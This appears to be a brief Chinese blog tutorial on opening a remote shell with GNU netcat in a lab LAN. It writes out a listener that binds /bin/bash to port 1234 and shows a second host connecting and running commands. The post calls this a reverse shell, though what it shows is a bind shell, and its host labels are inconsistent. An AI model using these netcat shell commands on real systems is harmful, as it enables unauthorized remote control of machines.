linux 建立反向shell

首先是netcat的版本选择BSD版的不支技-c -e参数，而GNU版的有-e参数，这里我用的是GNU版:

sh-4.1# nc -V
netcat (The GNU Netcat) 0.7.1
Copyright (C) 2002 - 2003  Giovanni Giacobbi

This program comes with NO WARRANTY, to the extent permitted by law.
You may redistribute copies of this program under the terms of
the GNU General Public License.
For more information about these matters, see the file named COPYING.

Original idea and design by Avian Research <hobbit@avian.org>,
Written by Giovanni Giacobbi <giovanni@giacobbi.net>.

首先需要在控制机上监听端口（控制机:192.168.1.110）

sh-4.1# nc -v -l -p 1234 -e /bin/bash #监听的端口是1234
#当然确保iptables开放1234这个端口

客户端去连接：

[root@znode02 netcat-0.7.1]# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN 
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP qlen 1000
    link/ether 52:54:00:6e:b4:83 brd ff:ff:ff:ff:ff:ff
    inet 192.168.1.111/24 brd 255.255.255.255 scope global eth0
    inet6 fe80::5054:ff:fe6e:b483/64 scope link 
       valid_lft forever preferred_lft forever
[root@znode02 netcat-0.7.1]# nc 192.168.1.110 1234
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN 
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP qlen 1000
    link/ether 52:54:00:ed:c2:db brd ff:ff:ff:ff:ff:ff
    inet 192.168.1.110/24 brd 255.255.255.255 scope global eth0
    inet6 fe80::5054:ff:feed:c2db/64 scope link 
       valid_lft forever preferred_lft forever

客户端连上后把执行的shell都是在服务端，连之前的ip a 显示的是客户端的ip 连上之后是显示的服务端的ip

#注意一个端口只能一台客户机去连，并如果推出，无法再连！！！！

在被控制端也即服务端，查看开放的1234端口：

[root@GitLab ~]# lsof -i:1234
COMMAND  PID USER   FD   TYPE DEVICE SIZE/OFF NODE NAME
bash    4414 root    0u  IPv4  47699      0t0  TCP 192.168.1.110:search-agent->192.168.1.111:47631 (ESTABLISHED)
bash    4414 root    1u  IPv4  47699      0t0  TCP 192.168.1.110:search-agent->192.168.1.111:47631 (ESTABLISHED)
bash    4414 root    2u  IPv4  47699      0t0  TCP 192.168.1.110:search-agent->192.168.1.111:47631 (ESTABLISHED)

linux 建立反向shell

推荐阅读